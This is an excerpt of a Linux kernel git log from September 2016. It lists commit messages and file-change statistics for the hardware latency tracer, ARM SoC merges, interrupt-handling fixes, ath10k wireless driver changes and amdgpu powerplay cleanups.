Signed-off-by: Steven Rostedt Documentation/trace/hwlat_detector.txt | 73 ++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) commit e7c15cd8a113335cf7154f027c9c8da1a92238ee Author: Steven Rostedt (Red Hat) Date: Thu Jun 23 12:45:36 2016 -0400 tracing: Added hardware latency tracer The hardware latency tracer has been in the PREEMPT_RT patch for some time. It is used to detect possible SMIs or any other hardware interruptions that the kernel is unaware of. Note, NMIs may also be detected, but that may be good to note as well. The logic is pretty simple. It simply creates a thread that spins on a single CPU for a specified amount of time (width) within a periodic window (window). These numbers may be adjusted by their cooresponding names in /sys/kernel/tracing/hwlat_detector/ The defaults are window = 1000000 us (1 second) width = 500000 us (1/2 second) The loop consists of: t1 = trace_clock_local(); t2 = trace_clock_local(); Where trace_clock_local() is a variant of sched_clock(). The difference of t2 - t1 is recorded as the "inner" timestamp and also the timestamp t1 - prev_t2 is recorded as the "outer" timestamp. If either of these differences are greater than the time denoted in /sys/kernel/tracing/tracing_thresh then it records the event. When this tracer is started, and tracing_thresh is zero, it changes to the default threshold of 10 us. The hwlat tracer in the PREEMPT_RT patch was originally written by Jon Masters. I have modified it quite a bit and turned it into a tracer. Based-on-code-by: Jon Masters Signed-off-by: Steven Rostedt kernel/trace/Kconfig | 35 +++ kernel/trace/Makefile | 1 + kernel/trace/trace.c | 2 +- kernel/trace/trace.h | 3 + kernel/trace/trace_entries.h | 23 ++ kernel/trace/trace_hwlat.c | 527 +++++++++++++++++++++++++++++++++++++++++++ kernel/trace/trace_output.c | 52 +++++ 7 files changed, 642 insertions(+), 1 deletion(-) commit 260caadebde754a3851803a17a8287478c090a80 Merge: 55d421b 502ad2a Author: Arnd Bergmann Date: Fri Sep 2 18:33:47 2016 +0200 Merge tag 'omap-for-v4.9/soc-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap into next/cleanup Merge "omap soc updates for v4.9 merge window" from Tony Lindgren: Two patches from Javier Martinez Canillas to update mach-omap1 and mach-oamp2 to use IS_ENABLED macro. * tag 'omap-for-v4.9/soc-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap: ARM: OMAP2+: use IS_ENABLED() instead of checking for built-in or module ARM: OMAP1: use IS_ENABLED() instead of checking for built-in or module commit 55d421b40cbb2d8bec71a1b92671e48d2ee7ca98 Merge: f5b0656 e92fc4f Author: Arnd Bergmann Date: Fri Sep 2 18:30:29 2016 +0200 Merge tag 'omap-for-v4.8/legacy-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap into next/cleanup Merge "drop last omap3 board files for v4.8" from Tony Lindgren: Remove the last two legacy board-*.c files for omap3 for legacy booting for v4.8 to allow making mach-omap2 device tree only for v4.9. We've had Nokia N900 and omap3 LDP board-*.c files remaining while other omap3 devices have been device tree only for quite a while now. Also N900 and LDP have had device tree based booting working for years now, but few drivers for N900 were still only working in legacy only mode until recently. With the remaining issues out of the way, we discussed on the mailing lists that we're finally OK to remove the remaining board-*.c files. For the timing of this pull request, I wanted to wait until v4.8-rc1 is out to make sure the legacy booting still works fine after the merge window before doing it. And for v4.8, let's not touch any other platform data in case we still need to revert for some reason. This makes the revert just a question of adding back the legacy board-*.c files. Then if no issues, we can remove the unused remaining platform data later on for v4.9. * tag 'omap-for-v4.8/legacy-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap: ARM: OMAP2+: Drop legacy board file for LDP ARM: OMAP2+: Drop legacy board file for n900 commit 7d3ef43f1f99d4250ff120c8965b3e5cd81b3c71 Merge: 2b97f10 cddb480 Author: Arnd Bergmann Date: Fri Sep 2 18:29:04 2016 +0200 Merge tag 'reset-for-4.9' of git://git.pengutronix.de/git/pza/linux into next/drivers Merge "Reset controller changes for v4.9" from Philipp Zabel: - add reset controller driver Kconfig options, allow building drivers with COMPILE_TEST - add reset controller driver for UniPhier SoCs - add reset controller driver for STM32 MCUs - simplify SoCFPGA reset controller driver a bit * tag 'reset-for-4.9' of git://git.pengutronix.de/git/pza/linux: reset: hi6220: allow to compile test driver on other architectures reset: zynq: add driver Kconfig option reset: sunxi: add driver Kconfig option reset: stm32: add driver Kconfig option reset: socfpga: add driver Kconfig option reset: pistachio: add driver Kconfig option reset: meson: add driver Kconfig option reset: lpc18xx: add driver Kconfig option reset: berlin: add driver Kconfig option reset: ath79: add driver Kconfig option reset: ath79: add missing include reset: warn on invalid input to reset_control_reset/assert/deassert/status reset: uniphier: add reset controller driver for UniPhier SoCs ARM: dts: stm32f429: add missing #reset-cells of rcc drivers: reset: Add STM32 reset driver dt-bindings: Document the STM32 reset bindings dt-bindings: mfd: Add STM32F4 RCC numeric constants into DT include file reset: socfpga: no need to store modrst_offset commit 2b97f10b3896f5c155b28f6c733735fd60f4b3f9 Merge: 3eab887 3950fff Author: Arnd Bergmann Date: Fri Sep 2 18:27:11 2016 +0200 Merge tag 'gpmc-omap-for-v4.9' of https://github.com/rogerq/linux into next/drivers Merge "OMAP-GPMC: driver updates for v4.9" from Roger Quadros: * Fix potential build failure if CONFIG_OMAP_GPMC is disabled while OMAP_NAND driver is enabled * Trivial fixes which fix build warnings and code check tool warnings (Coccinelle) * Use devm_gpiochip_add_data() * tag 'gpmc-omap-for-v4.9' of https://github.com/rogerq/linux: memory: omap-gpmc: make gpmc_clk_ticks_to_ns() static memory: omap-gpmc: Fix build with CONFIG_OMAP_GPMC disabled memory: omap-gpmc: use devm_gpiochip_add_data() memory: omap-gpmc: Delete an unnecessary check before the function call "gpiochip_free_own_desc" commit a2fccdead12d61d9193d5d64da8c84f502b8a9c8 Merge: 2fca843 a362897 Author: Arnd Bergmann Date: Fri Sep 2 18:23:23 2016 +0200 Merge tag 'samsung-soc-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux into next/soc Merge "Samsung mach/soc update for v4.9" from Krzysztof Kozlowski: 1. Fix for DMA on S3C24xx. This was probably broken for long time, nobody runs this code... till now. 2. After fixes from Matthew Leach and Ben Dooks, most of our mach code and drivers is now endian-safe. Mark the platform as supporting big endian. 3. Cleanups. * tag 'samsung-soc-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux: ARM: EXYNOS: Remove unused DMC and CMU offsets and their mappings ARM: s3c64xx: Delete unnecessary assignment for the field "owner" ARM: EXYNOS: Enable ARCH_SUPPORTS_BIG_ENDIAN explicitly ARM: S3C24XX: Add missing DMA device for Mini2440 board ARM: S3C24XX: Add dma_mask assignments for DMA devices commit 2fca8430593f10366a7b1584e9cdee7e58cfd8d8 Merge: 3eab887 8f899b4 Author: Arnd Bergmann Date: Fri Sep 2 18:21:23 2016 +0200 Merge tag 'davinci-for-v4.9/soc' of git://git.kernel.org/pub/scm/linux/kernel/git/nsekhar/linux-davinci into next/soc Merge "DaVinci soc support updates for v4.9" from Sekhar Nori: DA850 SoC support update for making it possible to use TI AEMIF driver in drivers/memory on DA850. * tag 'davinci-for-v4.9/soc' of git://git.kernel.org/pub/scm/linux/kernel/git/nsekhar/linux-davinci: ARM: davinci: da850: Add ti-aemif lookup for clock matching commit f5b065693be584813e6233b6e6036080c39cd2b6 Author: Arnd Bergmann Date: Fri Sep 2 18:15:00 2016 +0200 ARM: clps711x: remove extraneous files We removed support for board files in clps711x in Linux-4.8, but I accidentally left the unused files behind. Let's kill them off for real this time. Signed-off-by: Arnd Bergmann arch/arm/mach-clps711x/Makefile.boot | 0 arch/arm/mach-clps711x/board-autcpu12.c | 275 ----------------------- arch/arm/mach-clps711x/board-cdb89712.c | 147 ------------- arch/arm/mach-clps711x/board-clep7312.c | 45 ---- arch/arm/mach-clps711x/board-edb7211.c | 188 ---------------- arch/arm/mach-clps711x/board-p720t.c | 373 -------------------------------- arch/arm/mach-clps711x/common.c | 65 ------ arch/arm/mach-clps711x/common.h | 23 -- arch/arm/mach-clps711x/devices.c | 149 ------------- arch/arm/mach-clps711x/devices.h | 12 - 10 files changed, 1277 deletions(-) commit c964cdc3694fb9b9975e1a5a098d208b1d49c885 Merge: 3eab887 8f2c006 Author: Arnd Bergmann Date: Fri Sep 2 18:12:09 2016 +0200 Merge tag 'realview-broomstick-sweep' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-integrator into next/cleanup Merge "delete the RealView boardfiles" from Linus Walleij: This deletes the realview boardfiles, consolidates a bit around the Kconfig options and leaves the mach-realview directory nice and tidy, with all boards migrated over to Device Tree. * tag 'realview-broomstick-sweep' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-integrator: ARM: realview: imply device tree boot ARM: realview: no need to select SMP_ON_UP explicitly ARM: realview: delete the RealView board files commit 0c228919e04ddec195402296e7ebf2472ed6caef Author: Sebastian Frias Date: Tue Aug 2 10:52:45 2016 +0200 irqdomain: Mask irq type in irq_domain_xlate_onetwocell() According to the xlate() callback definition, the 'out_type' parameter needs to be the "linux irq type". A mask for such bits exists, IRQ_TYPE_SENSE_MASK, which is correctly applied in irq_domain_xlate_twocell() So use it for irq_domain_xlate_onetwocell() as well. Signed-off-by: Sebastian Frias Cc: Grant Likely Cc: Marc Zyngier Cc: Mason Cc: Jason Cooper Link: http://lkml.kernel.org/r/57A05F5D.103@laposte.net Signed-off-by: Thomas Gleixner kernel/irq/irqdomain.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit ee26c013cdee0b947e29d6cadfb9ff3341c69ff9 Author: Sebastian Frias Date: Mon Aug 1 16:27:38 2016 +0200 genirq/generic_chip: Add irq_unmap callback Without this patch irq_domain_disassociate() cannot properly release the interrupt. In fact, irq_map_generic_chip() checks a bit on 'gc->installed' but said bit is never cleared, only set. Commit 088f40b7b027 ("genirq: Generic chip: Add linear irq domain support") added irq_map_generic_chip() function and also stated "This lacks a removal function for now". This commit provides an implementation of an unmap function that can be called by irq_domain_disassociate(). [ tglx: Made the function static and removed the export as we have neither a prototype nor a modular user. ] Fixes: 088f40b7b027 ("genirq: Generic chip: Add linear irq domain support") Signed-off-by: Sebastian Frias Cc: Marc Zyngier Cc: Mason Cc: Jason Cooper Link: http://lkml.kernel.org/r/579F5C5A.2070507@laposte.net Signed-off-by: Thomas Gleixner kernel/irq/generic-chip.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit f0c450eaa364cb77c778f2a46ee2aa3ff464b332 Author: Sebastian Frias Date: Mon Aug 1 16:27:53 2016 +0200 genirq/generic_chip: Get rid of code duplication irq_map_generic_chip() contains about the same code as irq_get_domain_generic_chip() except for the return values. Split out the irq_get_domain_generic_chip() implementation so it can be reused. [ tglx: Removed the extra churn in irq_get_domain_generic_chip() callers and massaged changelog ] Signed-off-by: Sebastian Frias Cc: Marc Zyngier Cc: Mason Cc: Jason Cooper Link: http://lkml.kernel.org/r/579F5C69.8070006@laposte.net Signed-off-by: Thomas Gleixner kernel/irq/generic-chip.c | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) commit 48e0fba842c7daab80f3351398146368c5504a27 Author: Thomas Gleixner Date: Fri Sep 2 17:30:35 2016 +0200 genirq: Remove export of irq_map_generic_chip() No module users. Signed-off-by: Thomas Gleixner kernel/irq/generic-chip.c | 1 - 1 file changed, 1 deletion(-) commit fc590c22f9f056ab50190b797f6cacead29f9b75 Author: Thomas Gleixner Date: Fri Sep 2 14:45:19 2016 +0200 genirq: Robustify handle_percpu_devid_irq() The percpu_devid handler is not robust against spurious interrupts. If a spurious interrupt happens and no action is installed then the handler crashes with a NULL pointer dereference. Add a sanity check for this and log the wreckage once in dmesg. Reported-by: Majun Signed-off-by: Thomas Gleixner Cc: Mark Rutland Cc: Marc Zyngier Cc: guohanjun@huawei.com Cc: dingtianhong@huawei.com Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/alpine.DEB.2.20.1609021436160.5647@nanos kernel/irq/chip.c | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) commit c39265f72ae6dbcb0367be808837e2f182095d15 Author: Baoyou Xie Date: Mon Aug 29 20:21:13 2016 +0800 ath9k: mark ath_fill_led_pin() static We get 1 warning about global functions without a declaration in the ath9k gpio driver when building with W=1: drivers/net/wireless/ath/ath9k/gpio.c:25:6: warning: no previous prototype for 'ath_fill_led_pin' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath9k/gpio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7f03d3069381266278c058c4ce8349a0d172da7b Author: Colin Ian King Date: Fri Aug 26 19:08:52 2016 +0100 ath10k: fix spelling mistake "montior" -> "monitor" Trivial fix to spelling mistake in ath10k_warn message. Signed-off-by: Colin Ian King Reviewed-by: Julian Calaby Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/mac.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2cdce425aa3301648e3a68a361f7f48b681fc5a6 Author: Mohammed Shafi Shajakhan Date: Fri Aug 26 13:42:20 2016 +0530 ath10k: Fix broken NULL func data frame status for 10.4 Older firmware with HTT delivers incorrect tx status for null func frames to driver, but this fixed in 10.2 and 10.4 firmware versions. Also this workaround results in reporting of incorrect null func status for 10.4. Fix this is by introducing a firmware feature flag for 10.4 so that this workaround is skipped and proper tx status for null func frames are reported Signed-off-by: Tamizh chelvam Signed-off-by: Mohammed Shafi Shajakhan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 1 + drivers/net/wireless/ath/ath10k/core.h | 7 +++++++ drivers/net/wireless/ath/ath10k/mac.c | 2 ++ 3 files changed, 10 insertions(+) commit 749bc03ae2cd763df19ab8000d21b4342ed3383c Author: Masahiro Yamada Date: Wed Aug 24 01:27:26 2016 +0900 ath10k: replace config_enabled() with IS_REACHABLE() Commit 97f2645f358b ("tree-wide: replace config_enabled() with IS_ENABLED()") mostly did away with config_enabled(). This is one of the postponed TODO items as config_enabled() is used for a tristate option here. Theoretically, config_enabled() is equivalent to IS_BUILTIN(), but I guess IS_REACHABLE() is the best fit for this case because both CONFIG_HWMON and CONFIG_ATH10K are tristate. Signed-off-by: Masahiro Yamada Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/thermal.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit adeb68ef85235f952b77e01c4dadfd60851890d9 Author: Will Deacon Date: Thu Sep 1 13:35:02 2016 +0100 arm64: debug: report TRAP_TRACE instead of TRAP_HWBRPT for singlestep Single-step traps to userspace (e.g. via ptrace) are expected to use the TRAP_TRACE for the si_code field of the siginfo, as opposed to TRAP_HWBRPT that we report currently. Fix the reported value, which has no effect on existing and legacy builds of GDB. Reported-by: Yao Qi Signed-off-by: Will Deacon arch/arm64/kernel/debug-monitors.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit afcbc82cea527a046d66ff3088a75e56417abfc5 Author: Maharaja Kennadyrajan Date: Tue Aug 23 15:35:36 2016 +0530 ath10k: Added support for extended dbglog module id for 10.4 For 10.4 fw versions, dbglog module id has been extended from u32 to u64, hence this patch fixes the same in the ath10k driver side. This patch doesn't break the older 10.4 releases. The FW change is already present in the older FWs. Signed-off-by: Maharaja Kennadyrajan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.h | 2 +- drivers/net/wireless/ath/ath10k/debug.c | 11 ++++---- drivers/net/wireless/ath/ath10k/wmi-ops.h | 4 +-- drivers/net/wireless/ath/ath10k/wmi-tlv.c | 2 +- drivers/net/wireless/ath/ath10k/wmi.c | 42 +++++++++++++++++++++++++++++-- drivers/net/wireless/ath/ath10k/wmi.h | 14 +++++++++++ 6 files changed, 64 insertions(+), 11 deletions(-) commit 881ed54ecc138776adc20058c43d93f9b24f8b6d Author: Daniel Wagner Date: Thu Aug 18 15:12:06 2016 +0200 ath10k: use complete() instead complete_all() There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The usage pattern of the completion is: waiter context waker context scan.started ------------ ath10k_start_scan() lockdep_assert_held(conf_mutex) auth10k_wmi_start_scan() wait_for_completion_timeout(scan.started) ath10k_wmi_event_scan_start_failed() complete(scan.started) ath10k_wmi_event_scan_started() complete(scan.started) scan.completed -------------- ath10k_scan_stop() lockdep_assert_held(conf_mutex) ath10k_wmi_stop_scan() wait_for_completion_timeout(scan.completed) __ath10k_scan_finish() complete(scan.completed) scan.on_channel --------------- ath10k_remain_on_channel() mutex_lock(conf_mutex) ath10k_start_scan() wait_for_completion_timeout(scan.on_channel) ath10k_wmi_event_scan_foreign_chan() complete(scan.on_channel) offchan_tx_completed -------------------- ath10k_offchan_tx_work() mutex_lock(conf_mutex) reinit_completion(offchan_tx_completed) wait_for_completion_timeout(offchan_tx_completed) ath10k_report_offchain_tx() complete(offchan_tx_completed) install_key_done ---------------- ath10k_install_key() lockep_assert_held(conf_mutex) reinit_completion(install_key_done) wait_for_completion_timeout(install_key_done) ath10k_htt_t2h_msg_handler() complete(install_key_done) vdev_setup_done --------------- ath10k_monitor_vdev_start() lockdep_assert_held(conf_mutex) reinit_completion(vdev_setup_done) ath10k_vdev_setup_sync() wait_for_completion_timeout(vdev_setup_done) ath10k_wmi_event_vdev_start_resp() complete(vdev_setup_done) ath10k_monitor_vdev_stop() lockdep_assert_held(conf_mutex) reinit_completion(vdev_setup_done() ath10k_vdev_setup_sync() wait_for_completion_timeout(vdev_setup_done) ath10k_wmi_event_vdev_stopped() complete(vdev_setup_done) thermal.wmi_sync ---------------- ath10k_thermal_show_temp() mutex_lock(conf_mutex) reinit_completion(thermal.wmi_sync) wait_for_completion_timeout(thermal.wmi_sync) ath10k_thermal_event_temperature() complete(thermal.wmi_sync) bss_survey_done --------------- ath10k_mac_update_bss_chan_survey lockdep_assert_held(conf_mutex) reinit_completion(bss_survey_done) wait_for_completion_timeout(bss_survey_done) ath10k_wmi_event_pdev_bss_chan_info() complete(bss_survey_done) All complete() calls happen while the conf_mutex is taken. That means at max one waiter is possible. Signed-off-by: Daniel Wagner Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 16 ++++++++-------- drivers/net/wireless/ath/ath10k/mac.c | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) commit e4fd726f21cdae0dc9cea6cbfcb7e27f21393f88 Author: Ashok Raj Nagarajan Date: Thu Aug 18 15:30:04 2016 +0530 ath10k: fix sending frame in management path in push txq logic In the wake tx queue path, we are not checking if the frame to be sent takes management path or not. For eg. QOS null func frame coming here will take the management path. Since we are not incrementing the descriptor counter (num_pending_mgmt_tx) w.r.t tx management, on tx completion it is possible to see negative values. When the above counter reaches a negative value, we will not be sending a probe response out. if (is_presp && ar->hw_params.max_probe_resp_desc_thres < htt->num_pending_mgmt_tx) For IPQ4019, max_probe_resp_desc_thres (u32) is 24 is compared against num_pending_mgmt_tx (int) and the above condtions comes true if the counter is negative and we drop the probe response. To avoid this, check on the wake tx queue path as well for the tx path of the frame and increment the appropriate counters Fixes: cac085524cf1 "ath10k: move mgmt descriptor limit handle under mgmt_tx" Signed-off-by: Ashok Raj Nagarajan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/mac.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 83e164b7679d46a6a172ca0fd0ead68b48e22103 Author: Rajkumar Manoharan Date: Wed Aug 17 21:02:53 2016 +0530 ath10k: improve wake_tx_queue ops performance txqs_lock is interfering with wake_tx_queue submitting more frames. so queues don't get filled in and don't keep firmware/hardware busy enough. This change helps to reduce the txqs_lock contention and wake_tx_queue() blockage to being possible in txrx_unref(). To reduce turn around time of wake_tx_queue ops and to maintain fairness among all txqs, the callback is updated to push first txq alone from pending list for every wake_tx_queue call. Remaining txqs will be processed later upon tx completion. Below improvements are observed in push-only mode and validated on IPQ4019 platform. With this change, in AP mode ~10Mbps increase is observed in downlink (AP -> STA) traffic and approx. 5-10% of CPU usage is reduced. Major improvement is observed in 1-hop Mesh mode topology in 11ACVHT80. Compared to Infra mode, CPU overhead is higher in Mesh mode due to path lookup and no fast-xmit support. So reducing spin lock contention is helping in Mesh. TOT +change -------- -------- TCP DL 545 Mbps 595 Mbps TCP UL 555 Mbps 585 Mbps Signed-off-by: Rajkumar Manoharan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/mac.c | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) commit 03c41cc126c8868ef483c2480acfcd5490a844b3 Author: Mohammed Shafi Shajakhan Date: Wed Aug 17 16:58:00 2016 +0530 ath10k: suppress warnings when getting wmi WDS peer event id 'WMI_10_4_WDS_PEER_EVENTID' is not yet handled/implemented for WDS mode, as of now suppress the warning message "Unknown eventid: 36903" Signed-off-by: Mohammed Shafi Shajakhan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/wmi.c | 1 + 1 file changed, 1 insertion(+) commit d268d2da2af6a37926b1f14c415bf9c04ad0d252 Merge: 3270920 f56e6fe Author: Arnd Bergmann Date: Fri Sep 2 17:47:31 2016 +0200 Merge tag 'omap-for-v4.9/defconfig-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap into next/defconfig Merge "omap defconfig updates for v4.9 merge window" from Tony Lindgren: A patch from Linus Walleij to switch to use generic IIO BMP280 driver instead of the BMP085. * tag 'omap-for-v4.9/defconfig-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap: ARM: omap2plus_defconfig: switch to the IIO BMP085 driver commit 3270920f3f4004dff8a08c5893a774d2264ade8e Merge: 23c56fa 88ea168 Author: Arnd Bergmann Date: Fri Sep 2 17:45:34 2016 +0200 Merge tag 'samsung-defconfig-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux into next/defconfig Merge "Samsung defconfig update for v4.9" from Krzysztof Kozlowski: 1. Device dynamic frequency and voltage scalling is now supported on many Exynos boards, enable it. 2. Enable PM_DEBUG, cleanup old IPV6_PRIVACY. 3. Enable SECCOMP for Systemd on Arch. 4. cpufreq schedutil cannot be module anymore. * tag 'samsung-defconfig-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux: ARM: multi_v7_defconfig: Don't attempt to enable schedutil governor as module ARM: exynos_defconfig: Don't attempt to enable schedutil governor as module ARM: multi_v7_defconfig: Enable SECCOMP ARM: exynos_defconfig: Enable SECCOMP ARM: s3c2410_defconfig: Remove CONFIG_IPV6_PRIVACY ARM: exynos_defconfig: Enable PM_DEBUG ARM: exynos_defconfig: Enable bus frequency scaling with devfreq commit 23c56fa66d782554a677d03d31ca6225633d8b1a Merge: 4200c65 c6144fb Author: Arnd Bergmann Date: Fri Sep 2 17:39:14 2016 +0200 Merge tag 'davinci-for-v4.9/defconfig' of git://git.kernel.org/pub/scm/linux/kernel/git/nsekhar/linux-davinci into next/defconfig Merge "DaVinci defconfig updates for v4.9" from Sekhar Nori: DaVinci defconfig updates include cleanup using savedefconfig and enabling various commonly used drivers as modules. * tag 'davinci-for-v4.9/defconfig' of git://git.kernel.org/pub/scm/linux/kernel/git/nsekhar/linux-davinci: ARM: davinci_all_defconfig: Enable some UBI modules ARM: davinci_all_defconfig: Enable AEMIF as a module ARM: davinci_all_defconfig: enable SMSC ethernet PHY ARM: davinci_all_defconfig: enable RTC driver as module ARM: davinci_all_defconfig: enable DA850 audio as modules ARM: davinci_all_defconfig: cleanup with savedefconfig commit 4200c658e0f99ef00339a5c6cc2b8b20d0094023 Author: Javier Martinez Canillas Date: Tue Aug 16 11:08:14 2016 -0400 ARM: multi_v7_defconfig: Build Atmel maXTouch driver as a module The driver is for a trackpad device so is not needed for booting and makes more sense to have it as module to reduce the kernel image size. It was probably enabled as built-in because module autoload was not working when the I2C device was registered by OF but this got fixed in commit b7d21058b40b ("Input: atmel_mxt_ts - add maxtouch to I2C table for module autoload") so it's safe to enable as a module now. Signed-off-by: Javier Martinez Canillas Signed-off-by: Arnd Bergmann arch/arm/configs/multi_v7_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7d42298eb43d27442e64d1e52e9f55f9cf9387e1 Author: Rajkumar Manoharan Date: Tue Aug 9 12:01:51 2016 +0530 ath10k: fix group privacy action frame decryption for qca4019 Recent commit 46f6b06050b7 ("mac80211: Encrypt "Group addressed privacy" action frames") encrypts group privacy action frames. But qca99x0 family chipset delivers broadcast/multicast management frames as encrypted and it should be decrypted by mac80211. Setting RX_FLAG_DECRYPTED stats for those frames is breaking mesh connection establishment. Signed-off-by: Rajkumar Manoharan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 4 ++++ drivers/net/wireless/ath/ath10k/core.h | 5 +++++ drivers/net/wireless/ath/ath10k/wmi.c | 29 ++++++++++++++++++++++++----- 3 files changed, 33 insertions(+), 5 deletions(-) commit 832c6ef765a6943edeb30db25f33c0a56560c532 Author: Tom St Denis Date: Fri Sep 2 08:19:15 2016 -0400 drm/amd/amdgpu: Merge get_wptr functions in gfx6 Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 31 +++++++++++-------------------- 1 file changed, 11 insertions(+), 20 deletions(-) commit e7706b422c087da851448c420c90821622ee1721 Author: Tom St Denis Date: Fri Sep 2 08:15:42 2016 -0400 drm/amd/amdgpu: Merge get_rptr functions in gfx8 Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit f1c0efc537d4d66967cdacd6ccbb93257dc8da3d Author: Tom St Denis Date: Fri Sep 2 08:14:42 2016 -0400 drm/amd/amdgpu: Merge get_rptr functions in gfx7 Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v7_0.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 6f924e202675651369b85ee8bea591768bf7a55d Author: Tom St Denis Date: Fri Sep 2 08:13:48 2016 -0400 drm/amd/amdgpu: Merge get_rptr functions in gfx6 Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 4aeacf0f9aa8a6ade9ce85f0074ba848230eb34f Author: Tom St Denis Date: Thu Sep 1 13:39:37 2016 -0400 drm/amd/amdgpu: Various tidy ups for gfx6 Various whitespace and logical simplifications for gfx6. Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 40 +++++------------------------------ 1 file changed, 5 insertions(+), 35 deletions(-) commit 142333dbb9fbecf0e6693ac4545676f36225ee89 Author: Tom St Denis Date: Thu Sep 1 13:31:35 2016 -0400 drm/amd/amdgpu: Simplify mask creation in gfx6 Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit deca1d1f16eebfa0d070eed50a221e01cf716ee0 Author: Tom St Denis Date: Thu Sep 1 13:29:49 2016 -0400 drm/amd/amdgpu: Add GRBM lock to various SI functions Add missing lock around SE/SH/INSTANCE selections. Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 48fad3aff638c7bc16656e31047f689aa44020a1 Author: Rex Zhu Date: Thu Sep 1 02:30:42 2016 +0800 drm/amd/powerplay: original power state table should not be changed. power state table was set based on vbios and should not be changed. when client need to change power state, just make a copy and send to smu. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/amd_powerplay.c | 1 - drivers/gpu/drm/amd/powerplay/eventmgr/psm.c | 5 +++-- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 15 +++++++++++++-- 3 files changed, 16 insertions(+), 5 deletions(-) commit cfcc283cee50e98e47a56ab2b3f85540a1f93ab4 Author: Rex Zhu Date: Wed Aug 31 18:13:08 2016 +0800 drm/amd/powerplay: refine struct name for coding style reason. delete useless member. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/inc/power_state.h | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) commit 48d7b759a8bc96054b59fc07098e05dcca0c93bb Author: Rex Zhu Date: Wed Aug 31 17:27:11 2016 +0800 drm/amd/powerplay: add vce state tables initialize for ppt v1. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher .../amd/powerplay/hwmgr/tonga_processpptables.c | 58 ++++++++++++++++++++++ drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 22 ++++++-- 2 files changed, 75 insertions(+), 5 deletions(-) commit 791a57db3e5eda12e30a5f496c84c1a9e20e8c0c Author: Rex Zhu Date: Wed Aug 31 17:25:49 2016 +0800 drm/amd/powerplay: refine struct name for code style reason. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/processpptables.c | 2 +- drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 4 ++-- 